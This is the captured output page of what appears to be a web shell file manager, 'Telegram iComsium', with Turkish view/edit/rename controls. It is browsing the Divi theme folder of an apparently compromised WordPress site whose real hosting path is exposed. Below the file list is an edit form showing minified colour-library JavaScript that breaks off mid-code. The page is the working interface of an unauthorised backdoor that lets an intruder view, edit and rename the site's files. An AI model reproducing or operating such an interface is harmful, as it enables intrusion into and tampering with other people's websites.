<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: b5ea111b8b33a3c9202b3ee678b84a5c5967894a</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/*! For license information please see h5p-game-map.js.LICENSE.txt */
!function(){var e={156:function(e){&quot;use strict&quot;;e.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},854:function(e,t,i){var a=i(156),s=i(872),r=Object.hasOwnProperty,n=Object.create(null);for(var o in a)r.call(a,o)&amp;&amp;(n[a[o]]=o);var l=e.exports={to:{},get:{}};function c(e,t,i){return Math.min(Math.max(t,e),i)}function u(e){var t=Math.round(e).toString(16).toUpperCase();return t.length&lt;2?&quot;0&quot;+t:t}l.get=function(e){var t,i;switch(e.substring(0,3).toLowerCase()){case&quot;hsl&quot;:t=l.get.hsl(e),i=&quot;hsl&quot;;break;case&quot;hwb&quot;:t=l.get.hwb(e),i=&quot;hwb&quot;;break;default:t=l.get.rgb(e),i=&quot;rgb&quot;}return t?{model:i,value:t}:null},l.get.rgb=function(e){if(!e)return null;var t,i,s,n=[0,0,0,1];if(t=e.match(/^#([a-f0-9]{6})([a-f0-9]{2})?$/i)){for(s=t[2],t=t[1],i=0;i&lt;3;i++){var o=2*i;n[i]=parseInt(t.slice(o,o+2),16)}s&amp;&amp;(n[3]=parseInt(s,16)/255)}else if(t=e.match(/^#([a-f0-9]{3,4})$/i)){for(s=(t=t[1])[3],i=0;i&lt;3;i++)n[i]=parseInt(t[i]+t[i],16);s&amp;&amp;(n[3]=parseInt(s+s,16)/255)}else if(t=e.match(/^rgba?\(\s*([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/)){for(i=0;i&lt;3;i++)n[i]=parseInt(t[i+1],0);t[4]&amp;&amp;(t[5]?n[3]=.01*parseFloat(t[4]):n[3]=parseFloat(t[4]))}else{if(!(t=e.match(/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/)))return(t=e.match(/^(\w+)$/))?&quot;transparent&quot;===t[1]?[0,0,0,0]:r.call(a,t[1])?((n=a[t[1]])[3]=1,n):null:null;for(i=0;i&lt;3;i++)n[i]=Math.round(2.55*parseFloat(t[i+1]));t[4]&amp;&amp;(t[5]?n[3]=.01*parseFloat(t[4]):n[3]=parseFloat(t[4]))}for(i=0;i&lt;3;i++)n[i]=c(n[i],0,255);return n[3]=c(n[3],0,1),n},l.get.hsl=function(e){if(!e)return null;var t=e.match(/^hsla?\(\s*([+-]?(?:\d{0,3}\.)?\d+)(?:deg)?\s*,?\s*([+-]?[\d\.]+)%\s*,?\s*([+-]?[\d\.]+)%\s*(?:[,|\/]\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/);if(t){var i=parseFloat(t[4]);return[(parseFloat(t[1])%360+360)%360,c(parseFloat(t[2]),0,100),c(parseFloat(t[3]),0,100),c(isNaN(i)?1:i,0,1)]}return null},l.get.hwb=function(e){if(!e)return null;var 